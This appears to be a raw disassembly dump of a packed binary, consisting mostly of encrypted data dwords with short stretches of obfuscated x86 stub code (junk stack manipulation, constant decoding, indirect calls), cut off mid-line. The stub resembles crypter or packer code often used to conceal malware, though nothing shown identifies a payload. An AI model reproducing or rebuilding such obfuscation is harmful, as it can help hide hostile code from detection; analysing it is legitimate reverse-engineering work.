87C6F8CEh, 0B47C7FA5h, 67D0410Eh, 935BB9FEh dd 3901E1EDh, 75124E93h, 0B1110E1Dh, 0DEB98EDDh, 13075F7h dd 0CAE44FAEh, 84E2FA63h, 309845FCh, 0D0B3D5Bh, 0AB710000h dd 4E19F905h, 0F2BC9CA8h, 9360404Ch, 3801E1EDh, 6C848692h dd 0B0BC622Bh, 576309D0h, 0F905AB77h, 9FAB5119h, 740C3B08h dd 0BDD4FB68h, 288672B2h, 5D03CD60h, 71B61F90h, 4F203E42h dd 3B8AF3DBh, 2A6F15DDh, 0E5D03CCh, 6D13DB39h, 0BAAA90A0h dd 8C32FA58h, 3E4FD73Dh, 2987B016h, 68B75Dh, 683h, 6128863Eh dd 2E7DEEBBh, 0A5EA8253h, 23D3F876h, 6BB019D1h, 5A9F450Dh dd 3F8E34FCh, 0DD834B2Bh, 9965C310h, 0FF75A4F3h, 0A8D4FB6Dh dd 0D100824Ah, 0D4FB6DAFh, 61B01982h, 0D81D4F86h, 0E47A06A9h dd 8AA20BCAh, 9845AA26h, 56DBF9CEh, 2600000Ch, 0CEAEBA60h dd 71515D03h, 15F501A7h, 0B696A248h, 393B47EDh, 7319E2B7h dd 1AC08767h, 0BC622E0Eh, 6208D0B0h, 0C3F2BF56h, 0D4FB67BDh dd 75296974h, 0AD531AADh, 51197744h, 0F8D74E0h, 0A1687CF9h dd 54BD2EFBh, 66AA6EBh, 12E63D1Bh, 0D4E4B908h, 57A476EEh dd 4EA55828h, 2170D9DBh, 1645ABBBh, 5CD50B0h, 868E0000h dd 20760A39h, 65BBDB4Fh, 3A89F298h, 4F20690Bh, 4725B0DBh dd 0D55BD302h, 4DB6D123h, 3CE2AA08h, 0E2885030h, 0D19B3A15h dd 7A525D8Ch, 0E745CAE4h, 156B9A1Ch, 1CCEAE63h, 29F44AB3h dd 0F645B683h, 70A2BA23h, 0DC9845ABh, 0B9FE907h, 17DD0000h dd 0BA856571h, 5E280814h, 0FFCCACB8h, 0A46D4D59h, 0F8F0F2FEh dd 1C28CE97h, 0C3CF753Ch, 657117E3h, 0B17BD85h, 878A774h dd 29D4FB67h, 0AD75DE1Eh, 0A0ED3A07h, 2199FE64h, 2B52DAD8h dd 0DB4E6B55h, 511D73DCh, 36FE5CABh, 0CDB3C390h, 8BDA6C97h dd 2401B016h, 3F000005h, 4A8FDDF8h, 2CD29FFDh, 0B9C7EE5Fh dd 78DB4F20h, 4473C00Fh, 0D123D505h, 308ED33Ch, 0D6B6C268h dd 6C9B680Eh, 0D4FB6D08h, 63A8C411h, 3E943A05h, 3481D076h dd 0E478AA05h, 0E6FE67CAh, 9845D5B6h, 0FE234116h, 7E00000Ah dd 260612B8h, 0C9A9B55Bh, 6D4D59FFh, 0EEEFAA0h, 91939F45h dd 0CB713A1Fh, 7218DFBFh, 14BA8666h, 0BA602808h, 1B4A17AEh dd 0D4FB6565h, 7581C1CCh, 0DC3A07ADh, 0DC296E14h, 4F20D3ADh dd 9FF55EDBh, 9DE2DD3h, 0A65113F9h, 0B0163E9Ch, 82B71A56h dd 36DDF8C8h, 4817FE7h, 0DA380000h, 2C9D6A10h, 0DBA415DDh dd 4EDB4F20h, 53A0E587h, 0B8852BF5h, 1CE98F5Ah, 0E40E42ABh dd 2EEF5BF9h, 3FDD0C5Bh, 38D1235Eh, 9B680EDAh, 5BEF62Ah dd 797DB185h, 0E312572Ah, 0D4FAED9Dh, 7DC22B94h, 0FBC4571Fh dd 0AE178855h, 54FAC2A2h, 5629AC87h, 3B80E98Fh, 0E3FC030Ch dd 0CDE54ECAh, 984454B9h, 3A001EF3h, 4200000Ah, 0EACAD67Ch dd 8D6D791Fh, 31111DC3h, 0D2B2BE64h, 55576309h, 8F35FE53h dd 36DCA383h, 0D87E4A2Ah, 7E24ECCCh, 0DF0EDB72h, 0D4FB65A1h dd 75458590h, 0DC3A07ADh, 43A16E14h, 0A907D47Ah, 0DE844EE1h dd 5AC0A875h, 96FCE4EAh, 0CD733BAEh, 6414C88h, 1D9BE03Eh dd 0F645AE54h, 0EDB513E2h, 0BA097A47h, 16B03254h, 11DE9B0h dd 75270000h, 0DC3A07ADh, 5626E14h, 28579CD0h, 0D1383CA3h dd 497845AEh, 0D502042Bh, 827DE755h, 0B65B22E0h, 4617h dd 494D000h, 768F1FBCh, 86642C7Bh, 6BBA6028h, 0E2274590h dd 3820D0B3h, 3B0871D1h, 1EC490EEh, 4FDB1551h, 0CFE93F68h dd 0A2481066h, 0E61564D5h, 0D501598Eh, 2EC084F2h, 116006D0h dd 5B859BABh, 8B40B6h, 757E0000h, 0DC3A07ADh, 42A06D13h dd 0A907D47Ah, 602F3BE1h, 209CE413h, 2C95DB4Fh, 4BCDAEDDh dd 11D9DB4Fh, 32905F6Bh, 9570BF65h, 0B8E72C40h, 0D13FAB4Ah dd 0EC397EE7h, 4210709Fh, 0B821D4FFh, 9C420B69h, 41E7B090h dd 0AACA9F29h, 52704592h, 911h, 0F3FFA56Bh, 96A24813h dd 3A46ECB6h, 0DBE78D5Ah, 808C32FBh, 5C256A7Eh, 3CAAAB6h dd 0A571515Dh, 4B13F3FFh, 350299A5h, 0FB647A06h, 6CACB7D4h dd 0FA06AC75h, 0A0AC521Ah, 7AD7556h, 0A6B1ED3Ah, 194A7DBCh dd 8F57B504h, 0ABA2DE0Dh, 5B8FDB4Eh, 5851022Eh, 0E049B2A6h dd 29134D4h, 86EA0000h, 66B55B28h, 0DD224A8Bh, 3824BDAEh dd 36FE54D1h, 0E952C390h, 6EBB68A4h, 75A77568h, 0E0AD531Fh dd 1C4B206Fh, 0D5021958h, 4F8ABA28h, 0B65B4537h, 0FD83B2FFh dd 34D50225h, 36147CCBh, 52000002h, 4F20D9A4h, 0E78550DBh dd 0D17744A2h, 21235D8Ch, 0A50EDB4Fh, 4CDA0956h, 0B5D123D5h dd 0E233181h, 77E0D20Eh, 9B0CD432h, 0AE7BA282h, 6AF1D408h dd 4E4F059h, 7CC9963Ch, 0FB80002Fh, 48B1D4FBh, 0B8852BF2h dd 0B81DF847h, 0CF406FB4h, 82CAE509h, 26F90119h, 3E139845h dd 81420h, 0FCA26800h, 9F4510F0h, 43E9B393h, 0E48A5737h dd 892FF8D8h, 24757B7Dh, 0C9A9B55Bh, 70505C02h, 12F2FEA4h dd 198A44Ah, 637B0534h, 0ABB6D4FBh, 1AAD756Bh, 713EA74Dh dd 0D8A54B13h, 1FC282E8h, 0BDA5B157h, 0B01642A5h, 18C52h dd 0AD759000h, 4675C207h, 0DB4F203Ah, 20324E7Dh, 96FFDB4Fh dd 3E1362CBh, 667218E0h, 5BA0CC09h, 383C9F2Ch, 0BCEB38D1h dd 0D50204C4h, 0E2B5046Dh, 19444AAEh, 80B5D68Eh, 0C156DF1Ah dd 35026BD4h, 1316E06h, 0A0A412D5h, 5BD12D35h, 57CAB6h dd 0F8080000h, 0EC4A8FDDh, 50AE7B21h, 0A213E086h, 6E9DEA39h dd 0D1382115h, 207EC32Ch, 6FE0AD53h, 0A0FE4B20h, 0B2E130D6h dd 0D50220C2h, 966309D4h, 0FDCA7038h, 142DD39Fh, 52BE3430h dd 90B4C703h, 6AF5E4AFh, 45E7FE36h, 348330CBh, 0C1619CC8h dd 0F6B65B3Ah, 0B6h, 7AD7534h, 6D13DC3Ah, 0D47A42A0h, 3BE1A907h dd 67AA9F6h, 2BDB4F21h, 20C9B7E6h, 0FF68DB4Fh, 82334796h dd 0DB4F7309h, 434FF5BDh, 387DEFE6h, 3F83F909h, 0C182BED1h dd 4A2DA2F3h, 96FFD221h, 8FC80451h, 50E794F2h, 0E5D21347h dd 930E7B6Dh, 771DE644h, 64609C6Bh, 11BBFF74h, 0F9C2206Fh dd 68B93B53h, 6E4392B5h, 6B450h, 5C02C800h, 0FFA57050h dd 0A34913F3h, 44EAB797h, 0E98F5838h, 84D5DBDDh, 290915BBh dd 0D0B0BC62h, 72525E04h, 61F804AAh, 621B6594h, 0B16D4FBh dd 2AAC75CBh, 4F2085FBh, 0FE43ACDBh, 4F20B1CFh, 0AE1780DBh dd 54FAC2A2h, 0AD75FE48h, 0EFBB4E1Ah, 0A213E049h, 0CA96F439h dd 60C96F37h, 16DE3C11h, 37956470h, 9FFDCA70h, 74C32CD2h dd 2256h, 62298700h, 2F7EEFBCh, 7AD7567h, 6E14DC3Ah, 87BD2BA1h dd 0A54B1775h, 8A30F856h, 25DE7Eh, 75940000h, 0B3A07ADh dd 0DB4F2068h, 0EFBC622Eh, 5623C991h, 8CB2F31Ah, 96A58C65h dd 3534BAAAh, 20E81B49h, 86246E7Ah, 20760A39h, 52BBDB4Fh dd 37DDA503h, 26468F6Ah, 0D542B2E1h, 765D123h, 784B9A40h dd 4CB55B22h, 955CBA07h, 62B122EFh, 8A963C04h, 0ED935DBBh dd 260AF20h, 7AC7943Ah, 6D82FE2Dh, 46AFD4FBh, 0B3B91CF7h dd 20143F6Eh, 64CDCAD0h, 0DDA3D21Fh, 54CEA7BAh, 977A6EBh dd 28CEA7BBh, 0D62370BFh, 3A07AD78h, 0A14095C9h, 6340E7DFh dd 5BEEB614h, 0D21FEC92h, 0A7BADDA3h, 82EB54CEh, 0AA98D419h dd 6BB1B5F1h, 2DFAA06Ch, 0F00453BCh, 5DA24810h, 0EC94C310h dd 45CEA804h, 4CBB5DCh, 0FD66CEA8h, 0D7FED9AEh, 7AF18CAh dd 0C48B87B2h, 77E0511Eh, 0ED9AC90Eh, 54C49143h, 30E7D3EBh dd 0FCD18611h, 538DEh, 0D87E4400h, 7B21ECCCh, 1FC58F6Fh dd 0C0663313h, 650BD4B4h, 515759h, 0A5859137h, 4C2C38DEh dd 0EECEDA80h, 0DD748026h, 609FE110h, 8792D4FBh, 7AD7547h dd 0AD531BFBh, 14BA82E0h, 0B2105747h, 85F140E6h, 14DF3DDFh dd 0E130A16Eh, 0D015BB83h, 0B302A872h, 42AFB79Fh, 2B67B016h dd 0A251F00Eh, 0B51D6C07h, 60h, 0C4DDF8F3h, 45E5937Ah dd 5180C537h, 0DB4EC92Fh, 0EB309902h, 3816A3BCh, 0A0E54ED1h dd 992CF553h, 0F0BD26CCh, 6D2307Fh, 9FCE1B60h, 0D5017AE1h dd 8498E750h, 0E88E57B5h, 7B186A99h, 0C68ED501h, 5F8EDB20h dd 0D5017B21h, 4458A710h, 25F29864h, 47C07h, 0BCEB3800h dd 0D5017AC4h, 0EDB5046Dh, 0C207AD75h, 203A4675h, 0A1F7DB4Fh dd 0F66734DAh, 0B693E8Dh, 0FA589D43h, 6B33892Fh, 3887F8C5h dd 710EC724h, 0E2AD03A9h, 5F8ED33Ch, 0D1383D6Ch, 80AF7CE5h dd 0D50205F4h, 0BB261E8Ch, 0B65B25ABh, 4F50h, 0DDF88E00h dd 0B0FD4A8Fh, 4F20FF81h, 73C932DBh, 0C33401A7h, 203E4574h dd 9A03D138h, 1FD69ECDh, 3CAAD502h, 0BF88E608h, 8CDB4C19h dd 5B431C26h, 0B59AD6B6h, 0F28EBD19h, 3FD502ABh, 4A53A2D6h dd 0BAB4CCFBh, 147DD502h, 1F45CABh, 32000001h, 3A07AD75h dd 1FC58FEDh, 3492E152h, 4480C56Bh, 0BDBB6FC8h, 4D227193h dd 0CA9427EFh, 6006CE24h, 0ECB92293h, 6C33C68Eh, 0A0515DC6h dd 0DB4E2FCBh, 587F90CCh, 3027FA04h, 1C6B11DAh, 4450F6BEh dd 87F92875h, 0AADB4EA2h, 0CC94F241h, 577E5926h, 0AA72D015h dd 3968B504h, 0D137D466h, 0F768358Bh, 1AF7CA2Ch, 5EC7300Fh dd 9FE0F552h, 176431D7h, 1A798E8h, 0C73099D5h, 32FFA571h dd 0E41358C1h, 0CAF26014h, 15FA40Dh, 0EF4D9238h, 1E328127h dd 0B7CF753Eh, 98782401h, 3EB8D6ABh, 3E000003h, 0E6C6D278h dd 8969751Bh, 2D0D19BFh, 0CEAEBA60h, 51535F05h, 8B31FA5Fh dd 32D89F7Fh, 0D47A4626h, 7A20E8C8h, 0DB0AD76Eh, 0D4FB5EA5h dd 8641818Ch, 20760A39h, 52BBDB4Fh, 36DCA503h, 2857A4F1h dd 0DB4F2058h, 374970D9h, 0FADB4F20h, 5F2E4291h, 9203F123h dd 0D9A364BEh, 1D7BCA33h, 59A3AF55h, 0C95C2886h, 0A3F25B01h dd 25830DC8h, 79EAB75Dh, 4F202E52h, 43269ADBh, 200EEE3Dh dd 3E83EC55h, 3789740Fh, 9764CDD1h, 7E24EC4Ah, 8974002Fh dd 0BD0CD501h, 0E413955Fh, 0D501899Ch, 74C32C95h, 81A15C08h dd 36B65BD5h, 0DAh, 656EB3EFh, 5205B8B1h, 28863B03h, 0E6CBB61h dd 42E8B346h, 0A74D1775h, 970069DAh, 0FDA36CCAh, 246A0130h dd 541CDB4Fh, 400B69AEh, 57374B9Ah, 0AE30FC8Fh, 4F1D017Fh dd 5EC730DBh, 72B72091h, 1C8AF625h, 3EA7DB4Fh, 91CD1AEFh dd 25A3C89Ch, 0B5E4299Dh, 0DB4E35CBh, 0D3AEFD66h, 0F6256A02h dd 0D13767A9h, 76D3DF48h, 99C80D5Fh, 0CAF1B97Eh, 57B5FA63h dd 0FCDCE88Eh, 5D758D33h, 5F9878C4h, 20B6C8Ah, 0AB710000h dd 4E19F905h, 0F2BC9CA8h, 9360404Ch, 3801E1EDh, 6C848692h dd 0B0BC622Bh, 576309D0h, 0F905AB77h, 9FAB5119h, 740C3B08h dd 0BDD4FB5Dh, 0AC7572B2h, 2785C106h, 0A4DC0B14h, 8DDB4E86h dd 6DF5F024h, 0D2B2C615h, 0D21F640Ah, 4F08DDA3h, 9CEB54DBh dd 0AD753E88h, 0A0ED3A07h, 4F210F71h, 79EE22DBh, 0A85CCA20h dd 98F645AEh, 611F4ED0h, 67DB4E22h, 2604A05Bh, 0B019E430h dd 935B3B47h, 904520EDh, 1F6897DCh, 0A8D137D6h, 60B0236Ch dd 0F2413AC9h, 0C8E9B61Fh, 33D9A503h, 19CC78E4h, 0D498E051h dd 8223ACCBh, 25B00D19h, 79B50247h, 999C5AC7h, 35DBA4BAh dd 3F8EF768h, 0EA66F310h, 0AD76D4CAh, 7CE5B807h, 188951AFh dd 0DE64C6BFh, 2BF64C64h, 0DE47B885h, 0EE4C9B11h, 0C4307F25h dd 77F5E080h, 0FF9BF632h, 28AC22E4h, 97640AD2h, 3D8AD726h dd 1D6C12DFh, 9D4F15EEh, 8D54B2C4h, 5D4AB3E7h, 0B79A5715h dd 202C9568h, 0ABD50451h, 86C8662Ch, 0A870CE1Dh, 0BD73502h dd 93779865h, 16E13FD1h, 0FBC32170h, 0E9EC4955h, 780F3E83h dd 4FBE4F5Fh, 307F25F1h, 973D075Dh, 0ABF059CAh, 8CDB814Dh dd 0EB9159B7h, 62F5C01Eh, 0BC89F298h, 21EE945Eh, 0F5073DABh dd 18F9BAC6h, 0A50E77C2h, 4B7AC78Ch, 0C218F935h, 0D84493FCh dd 93D9FC6Ch, 2C681F4Eh, 70D9B802h, 9ECE0764h, 0A3DD0C59h dd 8EBBCBC6h, 5A89D625h, 0B1A07BA2h, 0C59268Fh, 7441E7AEh dd 0F18FBE03h, 40B57813h, 622A88D7h, 8D0B0BCh, 27669562h dd 87F5FAC8h, 0F0B82B19h, 0C4C9054Ah, 2ACFBBA5h, 8E5380B0h dd 9984B55Ah, 2B67364Ah, 0A486DFBDh, 46106687h, 2BF351A0h dd 8D5AB885h, 84BFCF0Bh, 5831B2C0h, 12A44F31h, 8BAEE275h dd 95B1D418h, 0FAC73099h, 9C4FF5D9h, 42222ED4h, 538FD47Ah dd 75080877h, 985FB5F7h, 65B425F2h, 37290h, 54280000h dd 9AF758Ch, 7016DE3Ch, 0D37945A3h, 3BE1A806h, 0A147106Eh dd 7AD76D4h, 690FDC3Ah, 0CE743E9Ch, 32D8A301h, 8953E865h dd 4C381E3h, 83000000h, 1C8704EBh, 0C895C24h, 534C6824h dd 0C890000h, 0E0895024h, 405h, 4E88300h, 5C240487h, 53240489h dd 59AABA52h, 0E2C13BA4h, 88EA8105h, 0C100CE11h, 0E2C108E2h dd 75EA8105h, 81690407h, 1F4464EAh, 5AD38935h, 685BD989h dd 661Ch, 83242489h, 58042404h, 8BA52h, 0EA810000h, 3AB82E06h dd 0C281C201h, 3AB82E06h, 0FF5A0A89h, 81582434h, 4C4h dd 2434FF00h, 4C48359h, 0F9B908E9h, 11A84CFFh, 0C02A3E08h dd 2CB866C6h, 30653C6h, 5BE0FFC5h, 0CC2E63D3h, 0C46E62A6h dd 1A0CC0D9h, 6462861Fh, 0B21F7423h, 59500A57h, 16206456h dd 797AF2B2h, 475121C2h, 0C64BE543h, 4D26E585h, 0DF685606h dd 0FFA9C530h, 4D0B29B5h, 0D7858D06h, 0FF065075h, 818D8DD0h dd 51064D2Bh, 0B5FF406Ah, 64D1B59h, 2F31B5FFh, 0D0FF064Dh dd 1B59B5FFh, 0B5FF064Dh, 64D2F31h, 0BE8h, 66E30400h, 201A48BCh dd 9EFF1E48h, 0E9835959h, 242CC104h, 2424C102h, 240C0302h dd 33241CF7h, 834FFC0h, 69F7815Fh, 8119D2E6h, 0F9489CEFh dd 41F7811Ch, 576D2ECCh, 8301048Fh, 3B4803E8h, 850F2404h dd 16h, 28E9h, 0CBD04F00h, 28D6D084h, 347129B9h, 0C4190BF1h dd 0BEE99E91h, 3DFFFFFFh, 6B2F4154h, 18481A60h, 0BCAADD85h dd 73C1712Ch, 0D99D8DA1h, 8B064D22h, 0FC00B03h, 784h, 8B038B00h dd 1889045Bh, 6E8C98Bh, 95000000h, 116048F2h, 8B6660F0h dd 0DE9F2h, 8AA70000h, 0E2C4542Ah, 8C610727h, 61775DC3h dd 0FEB70F5Bh, 5F09C381h, 8B560000h, 0FBB95FFBh, 811217B5h dd 0E8619CC1h, 33FFFCEDh, 81D78B5Eh, 50AAD1F6h, 0E1EE812Ah dd 8B1FE3EDh, 80F681FAh, 0F64A5BCh, 0F56D0B7h, 38FF8B7h dd 0EB83D08Bh, 4BF88B03h, 49FE8B66h, 1C850Fh, 9E90000h dd 0AA000000h, 0D888B24Dh, 0B8DE740Fh, 33E9h, 0CB39ED00h dd 39444B1Fh, 10E9C61Ch, 19000000h, 1B037074h, 0C77FF495h dd 700F141Ch, 0E99DCD94h, 0FFFFFF96h, 3A5081D4h, 807909ECh dd 0FDCD74D4h, 0EA8B5DEFh, 8EBh, 0CBC00000h, 0AFE91F04h dd 68000004h, 653C993h, 0F9B730E9h, 0CA0E68FFh, 26E90653h dd 68FFF9B7h, 653CB73h, 0F9B71CE9h, 0B0561CFFh, 53F9C4A4h dd 0F79D6747h, 983E0BEBh, 3DE3AC8Ch, 0D8B92F31h, 7D5D690Fh dd 240410B6h, 0C6A6B258h, 0B54C58FEh, 58C7B9E8h, 5F6AD4FBh dd 6AC751Fh, 6D13DB39h, 5C02CA28h, 0BBCF1E8Fh, 0B0F5775Eh dd 0D7068852h, 0DB4F20A9h, 0E9B61F88h, 0ADDC2978h, 0D1382D5Eh dd 8EBD8AF3h, 0D50215E6h, 0D6382C9Ah, 511EB178h, 46DDEABh dd 1177C637h, 0B65B4971h, 0F09663C1h, 0FB63B223h, 2E5h dd 0FA8D56B4h, 4ABB882Eh, 0F2CA92E1h, 6DFFD6C5h, 4766F928h dd 228BD138h, 613AB1DAh, 6CFD884h, 31F22166h, 56CD85A9h dd 276C3A1Ah, 2082B65Ch, 0A87BCAB5h, 3E97723Fh, 0C4BAE92Eh dd 6DC73866h, 3672BF04h, 53E55E5h, 7CDA29E5h, 7CC90EB4h dd 155334Dh, 0A673CBh, 8EF7C233h, 834B2B3Fh, 0E299C5DDh dd 6E4384A8h, 2FC50h, 9C420800h, 3FE5B090h, 0E3895333h dd 842AF7D7h, 29CF9878h, 0C4951B1Dh, 694955FBh, 10F0FCA2h dd 0B2929E44h, 0A13844EAh, 57DBA5D4h, 4B56D4FBh, 0A39860Bh dd 0DB4F2076h, 280352BBh, 6006D2ADh, 7583B2F7h, 0ACD123EAh dd 58483867h, 93E9D4FBh, 4FB821C7h, 50E3AC0Ah, 0ADD30284h dd 84D4FB58h, 3D49B21Bh, 21EE945Dh, 0FB5883F2h, 0A54B13D4h dd 0B6E1AB8Dh, 0E2C0192h, 281h, 0B17BD83h, 0AEBA602Bh dd 525E04CEh, 0F3FFA572h, 98A44A13h, 743D1296h, 1BE2C2CEh dd 0BD896975h, 632B0B17h, 4D1AB1BDh, 0FB56621Eh, 84C4CFD4h dd 4A8FDDF8h, 0A2C0C1FDh, 3470B69Fh, 0AB42B6E5h, 76DFD123h dd 640AD331h, 63114015h, 1DD4FB19h, 384AB5AFh, 0DFB64239h dd 1A1h, 6128861Dh, 911DCEF0h, 5FC82A66h, 74D22192h, 0DB3906ACh dd 92616D13h, 0AD6C9656h, 0DD2CE622h, 5499D302h, 379CA625h dd 0FD42ABD1h, 64FF81B0h, 0DC32D501h, 0BD026B11h, 164F28Eh dd 87D63FD5h, 64F183B2h, 408FD501h, 64BCC4F3h, 0C75D501h dd 0E81351BDh, 0B65B825Eh, 4E7Dh, 0BAE93600h, 0D5016CC6h dd 0EBB3026Bh, 4A8FDDF8h, 3820681Bh, 0B4125FD1h, 602047EDh dd 46D50220h, 0A20BD67Ch, 0D2178053h, 3603A974h, 2F5180C5h dd 2D50220h, 46754A99h, 0D5021F2Eh, 7560E452h, 0B65B43EDh dd 58FEC725h, 98A109h, 75DF0000h, 0ED3A07ADh, 1A9245B1h dd 0E83741D3h, 0D61BC18Ah, 3805AB78h, 45A378C7h, 0BD0AD77Dh dd 1FEC925Fh, 39015FAEh, 80D68793h, 0D6DB4EB9h, 0FF5C680Eh dd 45196D6h, 6A37DDA6h, 0AFAED2F9h, 1A83DB4Eh, 0B34F7ECBh dd 7ED13F64h, 0A972D015h, 4E17F703h, 0FB690A8h, 25FA92B5h dd 11C07h, 7C22E800h, 1FC59070h, 0C3693313h, 640AD7B7h dd 9AF7858h, 0A4F5FBFDh, 492935DBh, 0F0D0DC82h, 92727E24h dd 811824CAh, 55FB85B4h, 2B36D4FBh, 6AC75EBh, 0AC521AFAh dd 0AD7556A0h, 8FED3A07h, 75421C7h, 4F20A8D8h, 0B72089DBh dd 9C420A68h, 0CAA23390h, 0B65C2785h, 0DC2978E9h, 0BE64318Fh dd 0A9F89E68h, 386EE57Ah, 5EA30CD1h, 85913700h, 0E68C58B6h dd 2A59A819h, 0D501D24Ah, 0D2DE844Ch, 0B68329F2h, 93ED1C69h dd 9ED501D2h, 8AC8E635h, 0F9000000h, 0DC2BD19Bh, 8FDDF814h dd 0D49FFD4Ah, 58E22763h, 58C12969h, 9CCB1A8Bh, 0D1238358h dd 8228F14Fh, 2AF76033h, 525E04CCh, 3704AA72h, 0D1F89B08h dd 6C12DB1Bh, 0CF75419Fh, 45FFEB02h, 0B1B3218Fh, 9DE3125Fh dd 94BBA3EAh, 0B8978B60h, 0B41DE0EDh, 5B40406Fh, 88F1BBA3h dd 6D13DB39h, 13B98161h, 75BDF946h, 4EDACA9Eh, 4EF4BE14h dd 41D4A1FFh, 9102CF75h, 563A5B28h, 8D33FBEEh, 33D9A181h dd 34866h, 54FE0000h, 9AF758Ch, 7016DE3Ch, 0D37945A3h dd 3BE1A806h, 0A147106Eh, 7AD76D4h, 690FDC3Ah, 0CE743E9Ch dd 32D8A301h db 65h, 0E8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 172Ah mov [esp], ebp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi push ecx push edx mov edx, 653C8A7h mov ecx, edx pop edx mov ebp, ecx pop ecx push 5BD9h mov [esp], esp add dword ptr [esp], 4 pop edi push ebx mov ebx, 8 add ebx, edi mov [ebx], ebp mov ebx, [esp] add esp, 4 push dword ptr [esp] pop edi add esp, 4 mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_546EAD ; --------------------------------------------------------------------------- dw 1C8Dh dd 0B4B892DAh, 30653CCh, 80E0FFC5h, 0B0793838h, 0C634F509h dd 0D651D68Fh, 167EEC1Dh, 286FEAEDh, 0F9511A93h, 0C26F0D48h dd 9627F546h, 422B75A9h, 8F683079h, 0F1ABD30h, 0E8598F89h dd 7, 627FBDCh, 5B300955h, 3830Fh, 8B660000h, 0F8C381D7h dd 0F00005Ch, 168Bh, 11E900h, 0C0D40000h, 3D65FCC0h, 995766CCh dd 483CA71Ah, 33B6DF9Ah, 0C78B66C9h, 810B3C8Bh, 564AFF7h dd 3820F31h, 80000000h, 0EF8111EEh, 681D7197h, 0AE9h, 1170B200h dd 998D13E0h, 81169B10h, 0C91F81C7h, 0AE86Dh, 0DD5F0000h dd 2B2286CCh, 0B8FF28ECh, 3C895AFCh, 0BA66F80Bh, 0E9837567h dd 94F98104h, 0FFFFFA3h, 0FFFFAB85h, 30F080FFh, 0CF2A8D8Dh dd 6A0653h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0A6F02FC3h, 0D92CE4DAh, 61FC6052h, 998D895Eh dd 6A064D05h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 57FC357h, 44CDC5F9h, 0C7F08B4Bh dd 4D051D85h, 707006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 870F5AB4h, 13h, 0EE9h dd 0A8F05100h, 0A2C50CD5h, 39F9C137h, 607143FFh, 850FFE8Ah dd 6, 33D6C181h, 0C7611536h, 4D02E985h, 6, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 771AC9B5h, 0D08AAA0Eh, 0D019589h, 0B5FF064Dh, 64D3171h dd 5E860h, 71E0000h, 0E9CEFEBEh, 13h, 0E339951Eh, 0E1862D45h dd 93A978AFh, 0AE1D93FAh, 5B0ABFD2h, 5E8h, 73535700h, 58F9AB9Bh dd 5595FF61h, 89064D2Eh, 4D28F585h, 0FF006A06h, 4D051195h dd 0EBC08B06h, 6084DB1Dh, 575E6BBDh, 5138C841h, 9B0BAB81h dd 0FA0D4583h, 873B824Dh, 41C50563h, 11E88EAEh, 0BA000000h dd 7B39BDCEh, 0B2D496FCh, 42772EE9h, 0AA3D23E6h, 0B198D89h dd 8958064Dh, 4D15F99Dh, 0E7C08106h, 0B000067h, 4D0B59BDh dd 66D23306h, 8BBC29B9h, 8B661034h, 8EEE81DEh, 0E85CDC66h dd 0Fh, 85A7E9DDh, 20E95C42h, 99C0C341h, 0E979D0CDh, 0Bh dd 0D0DE1CB1h, 3C77D8E0h, 5F1CD538h, 1D3EEE81h, 0E953704Fh dd 0Ch, 30B393D0h, 3798C8A1h, 2CE81997h, 50F68159h, 0E8657563h dd 10h, 9059D4D3h, 37452D8Ah, 0ED67993Ah, 0AC10346Ah, 2815BD09h dd 565B064Dh, 0EE8h, 0A7B25200h, 0CB1E7C84h, 0BD35411Ah dd 0E97D32AEh, 9, 0C0A64601h, 0D424BC62h, 48F5B78h, 0E5958910h dd 83064D29h, 9D8B04EAh, 64D301Dh, 98F8FA81h, 850FFFFFh dd 0FFFFFF53h, 4D99D8Bh, 0EE8064Dh, 52000000h, 0FB828D52h dd 0FEFBF5Dh, 0B3588525h, 16052E7h, 4D0A45BDh, 0E18D2B06h dd 61064D0Ch, 0E4805B59h, 65C38163h, 60000060h, 8B8CC480h dd 4D2D1DB5h, 0E4BA6106h, 8B000017h, 4D07498Dh, 8B33FF06h dd 4D149D8Dh, 85895F06h, 64D2725h, 0A731EF81h, 0CE96B1Bh dd 0F9000000h, 6929C187h, 6D712079h, 8196E813h, 88C6EAF7h dd 0DFC78119h, 604F7C68h, 10951AB9h, 91958954h, 61064D0Eh dd 81F93B89h, 284738EBh, 198D2951h, 81064D05h, 284734C3h dd 0C18B6651h, 1EA81h, 850F0000h, 19h, 0E9F08B66h, 30h dd 3351DA35h, 3060A158h, 5D971B4h, 4DDA7953h, 56E981E2h dd 0E91FD8BCh, 0FFFFFF79h, 806B0F15h, 716A58D6h, 4733C637h dd 63FC1642h, 0E30EEEA8h, 0AE8h, 0A4192B00h, 46676C82h dd 0B2EF93Ch, 4D0BA595h, 0BD8B5906h, 64D0DB1h, 5FECC181h dd 0B70F0000h, 2BC033D0h, 4D1AAD95h, 834FF06h, 11F98531h dd 8B5E064Dh, 4D163995h, 0A9EE8106h, 8B56A0E6h, 4D29A19Dh dd 75C68106h, 8A5636E1h, 7EC681F1h, 33256906h, 4D06B59Dh dd 0BD8B5606h, 64D2211h, 8B01048Fh, 4D0F05BDh, 3E88306h dd 29159D8Bh, 8148064Dh, 0FFA094F8h, 0AA850FFFh, 31FFFFFFh dd 4D2D299Dh, 83C08B06h, 4D1BD9BDh, 9750006h, 11BD83h dd 7400064Dh, 8B535019h, 421B8C0h, 85890000h, 64D2575h dd 0B7159D8Dh, 0D3FF064Fh, 0BD83585Bh, 64D0011h, 50177400h dd 421B853h, 85890000h, 64D2575h, 0B4049D8Dh, 0D3FF064Fh dd 0C08B585Bh, 2A119D8Bh, 85C6064Dh, 64D26E5h, 0B8526856h dd 0B5FF9CA8h, 64D0B29h, 75D7858Dh, 0D0FF0650h, 68046Ah dd 0FF000010h, 4D278DB5h, 0FF006A06h, 0FC085D0h, 0D85h dd 0B800h, 8D8D0000h, 64D740Eh, 0C88BE1FFh, 4003C38Bh dd 0F8053Ch, 508B0000h, 83D3030Ch, 4D22D9BDh, 840F0006h dd 0Eh, 22D99D8Bh, 858B064Dh, 64D213Dh, 52510389h, 4250858Dh dd 